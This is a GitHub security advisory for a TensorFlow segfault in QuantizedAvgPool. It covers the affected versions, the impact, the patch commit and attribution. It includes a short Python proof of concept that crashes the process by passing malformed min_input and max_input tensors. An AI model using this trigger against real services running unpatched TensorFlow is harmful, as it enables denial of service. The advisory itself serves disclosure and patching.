GHSA-4w68-4x85-mjj9 TensorFlow vulnerable to segfault in `QuantizedAvgPool`

• PyPI tensorflow: < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow: >= 2.9.0, < 2.9.1 → fixed in 2.9.1 • PyPI tensorflow-cpu: < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow-cpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow-cpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1 • PyPI tensorflow-gpu: < 2.7.2 → fixed in 2.7.2 • PyPI tensorflow-gpu: >= 2.8.0, < 2.8.1 → fixed in 2.8.1 • PyPI tensorflow-gpu: >= 2.9.0, < 2.9.1 → fixed in 2.9.1

Impact If `QuantizedAvgPool` is given `min_input` or `max_input` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf ksize = [1, 2, 2, 1] strides = [1, 2, 2, 1] padding = "SAME" input = tf.constant(1, shape=[1,4,4,2], dtype=tf.quint8) min_input = tf.constant([], shape=[0], dtype=tf.float32) max_input = tf.constant(0, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedAvgPool(input=input, min_input=min_input, max_input=max_input, ksize=ksize, strides=strides, padding=padding) ``` Patches We have patched the issue in GitHub commit 7cdf9d4d2083b739ec81cfdace546b0c99f50622. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.